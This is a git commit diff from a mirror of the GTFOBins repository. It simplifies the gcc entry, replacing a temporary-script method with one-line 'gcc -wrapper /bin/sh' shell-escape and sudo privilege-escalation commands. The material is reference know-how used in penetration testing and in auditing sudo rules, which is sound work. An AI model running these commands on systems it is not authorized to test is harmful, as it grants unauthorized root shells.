1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Simplify gcc shell

This commit is contained in:
Andrea Cardaci 2020-03-14 12:17:30 +01:00
parent dec4a7f928
commit dfb01a4c3b

@ -1,17 +1,7 @@
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/x
echo '/bin/sh' >> $TF/x
chmod +x $TF/x
gcc -wrapper $TF/x $TF/x
- code: gcc -wrapper /bin/sh,-s .
sudo:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/x
echo '/bin/sh' >> $TF/x
chmod +x $TF/x
sudo gcc -wrapper $TF/x $TF/x
- code: sudo gcc -wrapper /bin/sh,-s .
---